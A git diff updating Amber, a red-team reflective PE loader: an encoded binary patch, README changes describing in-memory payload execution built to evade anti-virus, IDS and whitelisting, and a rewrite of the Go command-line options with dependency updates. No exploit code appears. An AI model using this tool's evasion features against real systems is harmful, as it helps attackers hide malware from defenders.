z@|UZxF1HVJ%%(n7o;RM_!R0eS<$+)g6IB3d2?aJXks9JqS!x|Y<8df3Z9n5CYDe}5l(GscvtR7;S&)#1(-22&smHlQm!cz z5ubk-yPwsax8xSx3Ko+gkwVaidLVLnQ8Pu4jVyP1ctjC`a#xvxcF_*SGnRqxaF*i* z#*N9~gxtF663p1hA}RYDlmWLGUyRxR_0jquX)I(SHVY8STEet7xWlOu?o^p_g%?co zu)?1j*f4P2?p||q9HMY=wg;Pmk%}Ml!{||avjizGg--H zFK_rF>Y8UMIVw5N7bFWI-&sCfz6=9XKyBDNgE`Ew;DYghO-Aj+{BJ~@lUnD?&cEi? zhBI8eR=+|2Bsu5Z`$^o}bQ4Q;*Y>lFJMyF4rrrtH<&Ins_Gxr;Jv@=!phKj#oM>t; zpJME8_TGx;jGTd{FIdW0Bx*|SCpl%b;r`cl9pDX(4vgZ;#NGfU1wncDCy(s?<<7Tr zjZaB++dTkx3r;h+dLJz+Dk?22t3u)RIy$0D$F=^j)g#rl?**Tdr7BU3 zA(-k24lH@%I8#I4CB6@C>w_fBxUE|-eL{8b`RLRR zp|_hiIi-JgWA8`K{ja@3`%Vbqx-?I3ezSU|;QEG!2lR@dfzM+Bjd)uJw3T5q5J3_i zud#RhHTUxAysB}XD1IT7uvhe^^2llPWWt-h{jJCkLJDKI&*B$jH9L$=VH zvzfhWnn4eFnl%WDzO%7iYD>D^n8QO)`mgm=wc{0F$@gA+CxBkz`mUer ziL&R<8ehD4G4`%-40XHi-kn2&Vp|uV; zA3K)cAC)?ZOHtEXck$<63`r%p2Twg`=li^fIt_rF!cRt=mH}Zhhg2U4o4bm~cYL@%t?<7g}wHJ-DZz zx!;!?=&^Gn8*lZBR5%saKy|d8W}saFG@WnvMdxp8(3yK`P$$B0zElE;N(4 z?JD_kEzFMlAy5aAEHX~T*AjqsG!ue=Gx8j#Pirr^w?Rf)1e!jv3QV@{qaKF^eAa4> z23-Ir_Qfi2LT1OPr6vVf!F_g_Gw9MHrG;0rgou$z_bdPJW)9<^HBSrlf66GUs{S>6 z|Hv>ZObzy37LYmL?VKNjIc{9|OmFefTkOw*=TopDdp8S!B>WS|!&rC}Q7(Xt9wjgF z1CIX%)G*ePZG*Uw)WGTk5lM0A-K}??gY56NlWoxchLbg^XM^by{|m?8R5tKG&n>?= z^f-K|b_v-z$yI#DA993?Ywnz5ggo%~e;(+u2nrZ}>C25&5vP9Qhhiu_t;R3?kxMA% zaj*#J+e)lU=lv((zVK!cb6bgAfEbekKb{_?-x0o!+JAfWoR zo**eD!W2!$w9@Q2-qUAX%mt9Nn6ps?_=oD@5Aa|5cDCuC**ZHT$RmptvU0n#%-J|Y zqkoP{{C^&GpDCOvxQY+xm`N&nm4cp`ux{AEKTaC~Cj39{kC`76sz|Anp&ZA~`5k#* z_%%yS;EDg^kQp|@WGOAkhlEO?GU%sl`kzkVfKh+5Bjo$*(bd`eP#0TV{dDAJ_Fb0n z-jlDo@o{wGDL`XOr%9U@1l#Hb^G>ETV+x9X34+l>oki$dB*kGikzvTC>dkyWO>`^} z8dmzd^uKEXRHCH54o;=eB)>&poofFA7KSFW4UzRgEuuPheh>58Nb6mkW+X>-Ror}jKrwCBv=iKzG&kSffjGm#tSrjRr1~pC5zY&`RV6F3rFOqCCU=D@sIUE>;%A?0)(1VUP8x1!@~s`ybrm^jojVq*f$7@aTcmr36a0gnlu+Fg(g25 z9SHaK0u(NYwa*%F!PYww{AbZYF_Ec39eLQ9{YLorBu}+iMdV0j~05U?*$n57?Ord6dLTU+u|UZ8IwvYtgMw@BWY*Dk?1O@yutDkjOr? z&{zTM6OvHyPQ<#*c>eqN2UjcB2Nc#gXA7 zqUc?dHA!+O-7W0XigM&BDyPy*cd&)V*?k|QN5{k~KN;=(yZCzwk-*&YC4-mwB5+&i z@n^ED+rPg#nVBP!uJO$7?Qwyg|MH`~xeZjK>4A9K3g6#LTLhKKGaw?u2~iXp*P;9& zyFz}4*4_)m{E1|C;KEeBnl;aZz!yqmId^+jcZEPL^qp!P^zACXwhVX*i5C)6BtC`` zj7(@;AbVRnJWU)%V+a|vt4!XXU*i|Rh>qo73Lxm{E|@GMml5yoeuUOz9$aK zbM-_&`{BmuzrRoyA<!KgE(3TH$h5ax)7H_8e*8%Kl*3*(PyVBz&^j2 zt0(iNu`}yi?ZJ>;K1$_gWTm&*g?Q|0o8D#Y0E2RxXa#(;o4P?h?x# z6TKx|{^|LxP`MGIE{25W?FMxD0=YCt$o_qf@^`fbX#N|u*+GMIOQfP{iGB%j zJSnP~GU#sApKYa!`8@1rW|g)Y>Vl+WT4ujiR=s3z&|%sy)3P>tVWP6Ty;F#0Ps z-1A@+689j;=%6!k6^_YxvD(JdHc4^}of)PVw2ky2n!-2=e*S5v)Qw(y?C-(Wq*2MW z0-2}1N#yveC+#&z&lE9Y)RK-h9gRnH;$~}ZD;73Sl~@u5g3XhZ96;KUw{!|Pak(=G0~HAe5du(~7SksJDT=`E7>0Du7- zxInkkd}MP{vu8H~BQHCt@;ov0x(HiDll&h)n2Q9k@BTLZ5yA?TblBe|>8L#vefPe9 zJMU1(0;kA#|EFK}Bz|EtQR+ChY;XwQ!s=>7fF{Gs2zhfv$g5`wtI;0JH5KjeJL@EZ zCUEahTiMTg>>(2m)Ch_MtKR^)TP=VJa~Z2 z!1d^2@RN|N%N8Sw$YH~%jOJ|S=Fgv18V+AGEiBZh= z?2#}q=zta@;{x?!C>lcU270}Gcf%mR*b3qa4W;}(;MiogX+XDfi7PgN0P;N}5ytGXd)P+yi2jXpK z8~mRaUydoRfU4T7pWI}uCkpqO7eVJ=5OMf^YY~-c4Kc@B&pgL*s+==JaVLS0sE+1I zyXX#TP<($3pDHiGev0I!@6!RdJ z>02}pniwJw^!*s9tG_5q1o>l$?~;EEV}&NR3^Ha6=KN~^V;OKf%>JwqZ|&lI-nD;z zI{Gq+O_3J0+}nN1I7UOY5m^y9DB8CDxbLd~lkbCt6BN7&1{q(J7$UY+n7jkJ;5}pU z`QalXpQ7puz|*L#kL#~4?e>J{|^^Nxw@%M)yy{1Pw|x<;W>#s^H8 z)4=aXNrEsrMrnu{N?I5A=eY#1>M`W-{*74wXccl<(l?9UL#IZ%8rAjhjOpBqM%=}k zFl~&f;9eqlBcuHjC7L^hulOY3J70mJjXDqz3BsSJBO}EHH7cEfs`c2!g#OtVK;e++ z6GPo2zZ-z6aW&`~+9>0y)`8aAr}QI->|W7Krr%GgD{&Se#SkbbC%|^8a{n;^ zcto7Khm(NS(3=sNzxyaouODKB4}_zv8Ld*)Xm3Fhk0pP7EON(_iBkpC=HNy+&vOuH z1J>j3Ykv#`R1QQRl&A3wB42nBa_fpHf{V!Hayj4W1fB=UMgEA5lETxTt$+N* zFsKr6aZ?{jWoZ8_hj!Kn$7X+KEcfs)QbBoB`>du##U@N@eF;88Dk!pPjTS_h zrop}GzZ4f<)<0QbwK6E2uc2t(i~yeCALIS7P+;J1hJ&?%oUf;@RdklW+U>d*yjTA$JHq_{_i9Q1;K4T$#=|*K<8lGrwV5O^@ zUmTBY(_$C92IM)h2cBGG#=ke!KwA%w`k%qQHfg|;>Wx9mlr1$_>y~2**fXoo3%Hf3OF zX&KVPgEZ!ficz`JM9y7ndNiQ-D*}5maY$ho_8+jvHPpygh+9Kwc>Ni>ziz&^(uNjT zwlc=Twe9`wgQ^UX81=)he2>ObM#Nw?W71BCiff zLU&4D8#1x~bAN|odNQ_q+anAvoeWSO|S7Xu# zusf{Jz?Ml4WLj!P{mh0~OWVWDhU_X=tWe=6kfh1=n$}ka0{fM`Sx zeu%H8vYJUK{=^2gQf^C99thiElxP5As9LolI3_Cc-}{DFcY^H-dS9*=iWD zy$E+?xzDII=JH{&R0YTnOwHT;+?lEU{qQDfj!}{i2OpDSj=jpRlPmZuCgkYQE%tTd z#I}2yp>@Fi`+_wc-)jpUQ}Tc(Bk>j|#GeoHz_xP=(trxS+so0=Qh=Doc=*ycvdGfbPsPu{Tg79$sp_5mV+L@BZR(ULM98f(_Q#{X8cXcN41 z&LDHEFOWw%3RY;at+zkCKiBb(nB@h>TM0vinSR&s0OB>9sHkzt&%VKGggYaPCYUi} zTNr*!eWFrPf^5i^*NNCHhGzte%~UH%~bPy0cH-o*m9>H`;FJRQFEHJBK}hFn9A+Vyf?Yg(b77ddRi<~G-E5}NQf(~ z(5sUt^}~@|q-MrGb2KvHHBpNeU@cWH5}K%l|Gql$WB>SMn8dur79%&H8w1kdt!zf!A_rrm-Su$=3KtuH@5+Vs)>TF4QKdQ$0>`{ME1Nvxr&u=XW5*F)=NqVkLB4NOnMibtRx* zKw&_&5xssIw%?ynztzU`s9fWC+bAG{c!KU1TMBQ^*|}0Om`utf2ewV$d;IO z&q4q0_U7ru;i^+|7aB<%umr0kYTc7#e(7{P+Y#K#WcrV|rFYl!gz@=T(joLR2c&=C z=#St~Afm=P3YTL1mg7D^?Nn1R(BoGv@d86O0<`i@pMxxDdSJV8QoHD!UIHWnhx*p* zG4Uv(4>&-m-_4EYGS}FKTf_Vhf6={C674jtnyD^$)J*!Q|EXmiX=D9%6q;=5w>tUmE;#PZ}L`KAU7ESy7a3k{1 zYpF1d-M^=kI_aNrB&XRPWOGain3ui(xNG24&LCP#&SMr)ov$tbkB{K+r}q&M|MMR} zTSAZVn?~Rl(4bh8e_70cTT1}(OQ+S&RGp+E!685)zeps$Y~rKgKVxfd%0Kv@X*GX z0usSk^ie2|C|a!u0ksfIe!%9FXT$=zQirxS;b{Iy3{6D4$kZmYAAxvH>-3F+5?rZyM#7*$bw)Vh9fM9eEcE2f zvaXFyK_$dVo(|EqrK8~pl03b^Yexmd27F`n4jtI1$oeFQIAAjz#E@Nq!1LvvVRnk5a6TM4S_~nU`M8W30c`5CjcK0XrPSv8-2fvqC zWQ6aH3QXdW(3G**c*NWLOMXQ{nRdi=8q-BOD)JZzzdJ`-CvKOMFpV$eT#7Rq2Tkk%1=z#fX2c@8t+xRFmRRMhBgRr4Fq}=##iz6hRT%`M{|}CZIQx7zKXm<; zBcisEz2-g~N|w_bHeN;6_B>Y`usoO9?}zlGDqu&Y?W?Z?E|b(cGM6kj$hsuN6nJt@ zL|KMhK9;ySos8FtctpztrD7rsQ7ljMPA>`4z{;c5vy|j)o1HzA&ke&MBphaa{iu+F zx81JUHhJQeI0gQGwfoe2fadT1FOG&BYx|6J$^t`*b}hic)Vy~v53ou92f@w$Zoeh% zM}T`H1vi*af`__iKDp%%z;628&BUabHn4}#LuAS)%ZZm}&d&z0N5y(tSEvU)@v$jM zI9UjP+l}IQ)<}ilXB3RpB7*3ISPha??;Qqpf54iM9I~XezGz*(NqF)#6F#9*%hrqV z!An*ZADmns>_EdJ+IwLnq0Rr^y-h8aGwL-ByWUEeD8PpiHhBCQOE=llnC)^lM_qar zNmxF@|987Xp1bph=EF|^A;wv35BzX^5*C1xg5@)2eC3~S@$NHlF--Wrz^Sra)FEpO;BB78&8rUw!Qyc>ZMjFsanZje^KcHe~?4q@fJjqEY~#3h0L!{zxS z$?;MX{+CbC>R!%Phrr^$hvq1f-GEk0!%7adoF$BuIqvsug@#}BduUM=H|pXk8%Af< zS}5IL&UP6MwPIuau9o7*y`$w9D<;@S1F%U=h&lQ9g}_0)LODO2*rET65u#l&WiL|* z@uWBlrUqjlIRnF&6czE&2LK`cz%L&<;VZ$uFRG2(3(<|y@U zgp(j}EDfG%4dosvp2xyor|!C!u)ONXdDzFMZec(_Mv^k%&i0dKNy(x=A=zd24@dOd z0yVy*p<94C5j#JeRSKYVL}z@u68q68r_}updy7Nf zdNIU6wS#DxocJ$W#C^Y&rpi7%I>84-WFj)*bGmUdU*{6+OCR(+B&kCP(9jh9@hpAY zJ~yK{@%N%A(NVZ+I=XK6-f-Xckjl}A;L9BKW}NL65R1XbK2-hN{nyt z#RuxhjXl%0p94H1Ss^2*rU>c#XVR2;KNBT0z@vN0UMB%#LkKZWidocS-*7J!b>1N!*?VMhjG# zTZ-90Hw7F9dhNbeK8PsfDWgwz+K@^Ykw2p|3f@}_(_^Y$hrKb`4-Rg~~b8q!{Bd zXPtWp)JW6=G$>&tD*x>q#+!c7q^wKdGC=&4GoBLE%L9^sggkJGpybCW?p>Y_e-3u( zy6;x__=TQQl3+sD6-9sbmg<>^Z>AZf9ntP`(tSWy#s0IWcq?k_Ks8yJvsle1#`Gf2 zmjtuNsklm^&T*Ndb;=lEdMXJ-=Seg~7-*}vN8$MBK1rW&6n;hs)U<5Tc=zbPWL!bA z()gq3Qmx6jlCu~`Ep5Jq-OoD(8y)WZTZh!Cmw#yv9}|H3Mm*a+c@<8NK8|%LpP|Hw zkPAlMz@al^5)3bC=u@npnK2~~8I;NI_VVXs3ah4Jo+F^Dt=avBmFV!}DGC%o##9VN zzoiBRrWF#Az+g>%A5OCaKqv$E283C@b{5b{FNWUTbUQceH9e;E?;;{t|Hxlfad-_x zc;6su=;2%dV^aYLq`=Ee>=`@am{k(YuhtZ;bNE|S2hYC{{9}wW<^Cg;{KA*<-WDjj zYZPWRi6NlU9%3dsy>6SSQC_I=xryZDam5w&ztEtg(Goj?Pj%|4cGu?M?KGBvM>556 zT}+>Eik+XX!6%ykZZ9y5&cy|w!tdd!79A9DBCF(-JsQyF)f@e@_n*_bgv~ayMX1A; zA|T0ON^P=3i~3fmJ1gZM$>h7NKnZ)T%op}|-@Na@={`z%&oATFp(2@lCsLdaW53c0L=J1>pxg6&nJN1EF>kc9>y$Zqh0$=ln2L0oE+f zkB^0yiUy{A1_}zM5b`qu>RcY+{Hy)P9^4iJ?_=&aq}HMX zsg2OYEeHoyf6~uY*}F?ZAQJj^Y)tGE2=rAVXe;0-fH z1;3?MR#w(ji6$it$P5GYac$K^pvi;{$PoDxd=b;!2{%kd`a4Cu2nZ3vRvmQ#BUA01|#a z_RzImneX*0zK<(tTs%C*z)dMIKmwHRyWii@wu3T>{h&Q*P#rFG2Gj)xt7)GVsE~uH ztqmeG;1o*G7V7MtpJ3`lsmmc0N@q%#-zk3L}+cw?9L zaHdBgTWaKUa#E8A5g53RSEoBxFYtDC*KBfpE^!0Cp-}aHEq5Z*+|Byo&J8KfHe_lizYkoZd}24M)dNLr$D*~ z@cna&QW~a2a&BXyAvD#3zo$EjNF=B|(D(7l_Hw7J%fd&!v(xrJOGUund;(~G_5}-n z&wofn5|9$AOrqcl0{2-rh#$3;i2Mc18On5ypFF5cX;JJAlqTk~bd*IK3(ubx$)ZgMY}RiKu*}aFQ&uiiTJ=krCly0KPAZ%Kr@$$qh0p z+=9qGu`!$)@x9P56ARx-M-hqdKQeE`LjHLD78JgdK;OXYN-o0;Xdg;|8v4(X5PE*G zp?ni_Mx==gM}Qd@tED9H3HanofBuh&F)Kj$uf_DgPIkwU|FN{Aq?{uxX$XXn?+6n# z|6+DU%oZo95_M;kIxB-XfO+vQ2?cOxg*iB$o}RRH#I}!twz@xB?|uSXloZXN)E5p` z>NMWbF!GIXXd62-fjuP;KmY3u3yP6XNik6?8q;v3gi2H^hJ3@l-Z??+6RwB)g9lAE zeeq@LU}v~D6CYd*#zYFW8*I4u!p${fd#{EmkOHr#aA7d?wKgz>I*c&^Fqlq1>PzsM zU4p<86z&jrt!4&?*=$89!wM^LZZ~lJAq<{R$6?5D(Iri_0k7nuWy=6dx)#g#smKL# zQZRV-RFr{+m_(TW2Jxi%AJNQLm7j%8@l9C%`J@fF7Lxz5SpzG!XyPl=3j^>`5uDOv z$TJzNoVJp{2|Ei?X?yWdK|Eu_6Ca*$dgc)DCCTyl_;|xGeP`&(vH(fg4yUgocbx|( zF~SW%kHSSS6EvF!v$wY&6PbC$Ob}L@zZ1%;0K2tg_l>3m=Oo8Q^O)1f3m-rtiR)R%yw8L4`#Zrm&YZ(8R#2`?vpDfMaXe5 zu6VRSLqsq3M?M$&F8jx*#M7xOM&lP1Z*1sp7oN%!31A?TGW#DwpOGHcW!hf5<$8vC zdIfY#|8RrkXwN@9R9|CEln(qe5yKFw6#+hP0j?OWtFNEZ#R65rLyI1=%)Tx`-jP`K&}9zO95naZX|m?5=BN_y}+ z|5T1h02|zR^60?v^m35myjY(v2C15G)w@S*-b$6k5GGVqHP|@#u!a=%$d|7wTqjF~ zuW~#&FyTj!i^#DJc - +
- + @@ -23,10 +23,7 @@ Amber is a position-independent(reflective) PE loader that enables in-memory execution of native PE files(EXE, DLL, SYS...). It enables stealthy in-memory payload deployment that can be used to bypass anti-virus, firewall, IDS, IPS products, and application white-listing mitigations. Reflective payloads generated by Amber can either be staged from a remote server or executed directly in memory much like a generic shellcode. By default, every generated payload is encoded using the new generation [SGN encoder](https://github.com/EgeBalci/sgn). Amber uses [CRC32_API](https://github.com/EgeBalci/crc32_api) and [IAT_API](https://github.com/EgeBalci/iat_api) for inconspicuously resolving the Windows API function addresses. After the PE file is loaded and executed in memory, the reflective payload is erased for evading memory scanners. -Developed By Ege Balcı @[PRODAFT](https://prodaft.com). - # Installation - Pre-compiled binaries can be found under [releases](https://github.com/EgeBalci/amber/releases). ***Building From Source*** @@ -34,7 +31,7 @@ Pre-compiled binaries can be found under [releases](https://github.com/EgeBalci/ The only dependency for building the source is the [keystone engine](https://github.com/keystone-engine/keystone), follow [these](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE.md) instructions for installing the library. Once libkeystone is installed on the system, simply just go get it ツ ``` -go get github.com/EgeBalci/amber +go install github.com/EgeBalci/amber@latest ``` ***Docker Install*** @@ -49,7 +46,7 @@ docker run -it egee/amber # Usage

- +

The following table lists switches supported by the amber. @@ -60,11 +57,17 @@ The following table lists switches supported by the amber. Type Description - + - -b,--build - bool - Build EXE stub that executes the generated reflective payload + -f,--file + string + Input PE file. + + + + -o,--out + string + Output binary payload file name. @@ -72,35 +75,29 @@ The following table lists switches supported by the amber. int Number of times to encode the generated reflective payload - - - -f,--file - string - Input PE file. - - -iat + --iat bool Use IAT API resolver block instead of CRC API resolver block - - -ignore-checks - bool - Ignore integrity check errors. - - - -max + -l int Maximum number of bytes for obfuscation (default 5) - -s,--stub - string - Use custom stub file for executing the generated reflective payload (currently very unstable) + --sys + bool + Perform raw syscalls. (only x64) + + + + --scrape + bool + Scrape magic byte and DOS stub from PE. @@ -112,9 +109,9 @@ The following table lists switches supported by the amber. ``` amber -f test.exe ``` -- Generate reflective payload and build EXE stub for executing it. +- Generate reflective payload with IAT API resolver and encode the final payload 10 times. ``` -amber -build -f test.exe +amber -e 10 --iat -f test.exe ``` ***Docker Usage*** diff --git a/config/options.go b/config/options.go index 133b8c5..083c75c 100644 --- a/config/options.go +++ b/config/options.go @@ -1,79 +1,83 @@ package config import ( - "errors" - "flag" "fmt" "os" - amber "github.com/EgeBalci/amber/pkg" - sgn "github.com/EgeBalci/sgn/pkg" - "github.com/fatih/color" + "github.com/EgeBalci/amber/utils" + "github.com/alecthomas/kong" ) -var usageStr = ` -Usage: amber [options] -Options: - -f, --file Input PE file - -s, --stub Use custom stub file (experimental) - -m, --max Maximum number of bytes for obfuscation - -e, Number of times to encode the generated reflective payload - -b, --build Build EXE stub that executes the generated reflective payload - --iat, Use IAT API resolver block instead of CRC API resolver block - --ignore-checks, Ignore integrity check errors. - -h, Show this message -` +const Version = "3.2.0" -// PrintUsageErrorAndDie ... -func PrintUsageErrorAndDie(err error) { - color.Red(err.Error()) - fmt.Println(usageStr) - os.Exit(1) +func HelpPrompt(options kong.HelpOptions, ctx *kong.Context) error { + err := kong.DefaultHelpPrinter(options, ctx) + if err != nil { + return err + } + return nil } -// PrintHelpAndDie ... -func PrintHelpAndDie() { - fmt.Println(usageStr) - os.Exit(0) +// Main config struct for parsing the TOML file +type Config struct { + FileName string `help:"Input PE file name." name:"file" short:"f"` + OutputFile string `help:"Output binary payload file name." name:"out" short:"o"` + EncodeCount int `help:"Number of times to encode the generated reflective payload." name:"encode" short:"e" default:"1"` + ObfuscationLimit int `help:"Maximum number of bytes for encoder obfuscation." name:"obfuscate-limit" short:"l" default:"5"` + UseIAT bool `help:"Use IAT API resolver block instead of CRC API resolver block." name:"iat"` + UseSyscalls bool `help:"Perform raw syscalls. (only x64)" name:"sys"` + ScrapePeHeaders bool `help:"Scrape magic byte and DOS stub from PE." name:"scrape"` + // IgnoreIntegrity bool `help:"Ignore PE file integrity check errors." name:"ignore"` + Verbose bool `help:"Verbose mode." name:"verbose" short:"v"` + Version kong.VersionFlag } // ConfigureOptions accepts a flag set and augments it with agentgo-server // specific flags. On success, an options structure is returned configured // based on the selected flags. -func ConfigureOptions(fs *flag.FlagSet, args []string) (*amber.Blueprint, *sgn.Encoder, error) { - - // Create empty options - bp := &amber.Blueprint{} - encoder := sgn.NewEncoder() +func Parse() (*Config, error) { - // Define flags - help := fs.Bool("h", false, "Show help message") - fs.StringVar(&bp.FileName, "f", "", "Input PE file") - fs.StringVar(&bp.FileName, "file", "", "Input PE file") - fs.BoolVar(&bp.IAT, "iat", false, "Use IAT API resolver block instead of CRC API resolver block") - fs.BoolVar(&bp.IgnoreIntegrity, "ignore-checks", false, "Ignore integrity check errors.") - fs.StringVar(&bp.CustomStubName, "s", "", "Use custom stub file (experimental)") - fs.StringVar(&bp.CustomStubName, "stub", "", "Use custom stub file (experimental)") - fs.IntVar(&encoder.ObfuscationLimit, "max", 5, "Maximum number of bytes for obfuscation") - fs.IntVar(&encoder.EncodingCount, "e", 1, "Number of times to encode the generated reflective payload") - fs.BoolVar(&bp.BuildStub, "b", false, "Build EXE stub that executes the generated reflective payload") - fs.BoolVar(&bp.BuildStub, "build", false, "Build EXE stub that executes the generated reflective payload") - - // Parse arguments and check for errors - if err := fs.Parse(args); err != nil { - return nil, nil, err + cfg := new(Config) + parser, err := kong.New( + cfg, + kong.Help(HelpPrompt), + kong.UsageOnError(), + kong.Vars{"version": Version}, + kong.ConfigureHelp(kong.HelpOptions{ + Summary: true, + }), + ) + if err != nil { + return nil, err + } + _, err = parser.Parse(os.Args[1:]) + if err != nil { + return nil, err } - // If it is not help and other args are empty, return error - if (*help == false) && bp.FileName == "" { - err := errors.New("please specify all required arguments") - return nil, nil, err + if cfg.FileName == "" { + utils.PrintErr("no file specified! (-f )\n") + kong.Help(HelpPrompt) + os.Exit(1) } - // If -help flag is defined, print help - if *help { - PrintHelpAndDie() + if cfg.OutputFile == "" { + cfg.OutputFile = fmt.Sprintf("%s.bin", cfg.FileName) } - return bp, encoder, nil + return cfg, nil +} + +func (cfg *Config) PrintSummary() { + utils.PrintStatus("File: %s\n", cfg.FileName) + utils.PrintStatus("Encode Count: %d\n", cfg.EncodeCount) + utils.PrintStatus("Obfuscation Limit: %d\n", cfg.ObfuscationLimit) + if cfg.UseIAT { + utils.PrintStatus("API Resolver: IAT\n") + } else { + utils.PrintStatus("API Resolver: CRC\n") + } + if cfg.UseSyscalls { + utils.PrintStatus("Raw Syscalls: True\n") + } } diff --git a/go.mod b/go.mod index 0ab1d06..fc83085 100644 --- a/go.mod +++ b/go.mod @@ -4,8 +4,10 @@ go 1.15 require ( github.com/EgeBalci/debug v0.0.0-20201116162432-d79a6eb18848 - github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae github.com/EgeBalci/sgn v0.0.0-20201126033925-686e60d127dc + github.com/alecthomas/kong v0.7.1 github.com/briandowns/spinner v1.11.1 github.com/fatih/color v1.10.0 + github.com/sirupsen/logrus v1.9.0 + golang.org/x/sys v0.7.0 // indirect ) diff --git a/go.sum b/go.sum index 787be93..49bc839 100644 --- a/go.sum +++ b/go.sum @@ -2,15 +2,24 @@ github.com/EgeBalci/debug v0.0.0-20201116162432-d79a6eb18848 h1:xp+mcTlDdvF6gCe/ github.com/EgeBalci/debug v0.0.0-20201116162432-d79a6eb18848/go.mod h1:7fXlZBJFFub/8MYzeBI6HFwNkwL2cw8pe3yrWTJduwc= github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae h1:IMOEVXYMrzHg+1oWgTYBEwzMGsxFHUgoreu2Ic62K7Q= github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae/go.mod h1:/HCfOmUN3INldcXC0YnFrOtOw3MuRFEQ9cKTT5fZuQ8= -github.com/EgeBalci/sgn v0.0.0-20201122214045-550a17d79251 h1:VyTVKce2AzuB6521arwJvyQFHLQ0USNnw/0IZ/RP3bE= -github.com/EgeBalci/sgn v0.0.0-20201122214045-550a17d79251/go.mod h1:gI4nYEhbKmf35Q+NPyoX+o1ajkCgabjYjsyu19tmfgM= github.com/EgeBalci/sgn v0.0.0-20201126033925-686e60d127dc h1:OVYO6tY6ivMDvT/np+bKnkUSIgHRJ4S7hAGcd1ylas8= github.com/EgeBalci/sgn v0.0.0-20201126033925-686e60d127dc/go.mod h1:gI4nYEhbKmf35Q+NPyoX+o1ajkCgabjYjsyu19tmfgM= +github.com/alecthomas/assert/v2 v2.1.0 h1:tbredtNcQnoSd3QBhQWI7QZ3XHOVkw1Moklp2ojoH/0= +github.com/alecthomas/assert/v2 v2.1.0/go.mod h1:b/+1DI2Q6NckYi+3mXyH3wFb8qG37K/DuK80n7WefXA= +github.com/alecthomas/kong v0.7.1 h1:azoTh0IOfwlAX3qN9sHWTxACE2oV8Bg2gAwBsMwDQY4= +github.com/alecthomas/kong v0.7.1/go.mod h1:n1iCIO2xS46oE8ZfYCNDqdR0b0wZNrXAIAqro/2132U= +github.com/alecthomas/repr v0.1.0 h1:ENn2e1+J3k09gyj2shc0dHr/yjaWSHRlrJ4DPMevDqE= +github.com/alecthomas/repr v0.1.0/go.mod h1:2kn6fqh/zIyPLmm3ugklbEi5hg5wS435eygvNfaDQL8= github.com/briandowns/spinner v1.11.1 h1:OixPqDEcX3juo5AjQZAnFPbeUA0jvkp2qzB5gOZJ/L0= github.com/briandowns/spinner v1.11.1/go.mod h1:QOuQk7x+EaDASo80FEXwlwiA+j/PPIcX3FScO+3/ZPQ= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg= github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM= +github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM= +github.com/hexops/gotextdiff v1.0.3/go.mod h1:pSWU5MAI3yDq+fZBTazCSJysOMbxWL1BSow5/V2vxeg= github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8= github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= @@ -21,7 +30,20 @@ github.com/mattn/go-runewidth v0.0.7 h1:Ei8KR0497xHyKJPAv59M1dkC+rOZCMBJ+t3fZ+tw github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/olekukonko/tablewriter v0.0.4 h1:vHD/YYe1Wolo78koG299f7V/VAS08c6IpCLn+Ejf/w8= github.com/olekukonko/tablewriter v0.0.4/go.mod h1:zq6QwlOf5SlnkVbMSr5EoBv3636FWnp+qbPhuoO21uA= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0= +github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae h1:/WDfKMnPU+m5M4xB+6x4kaepxRw6jWvR5iDRdvjHgy8= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.7.0 h1:3jlCCIQZPdOYu1h8BkNvLz8Kgwtae2cagcG/VamtZRU= +golang.org/x/sys v0.7.0/go.mod 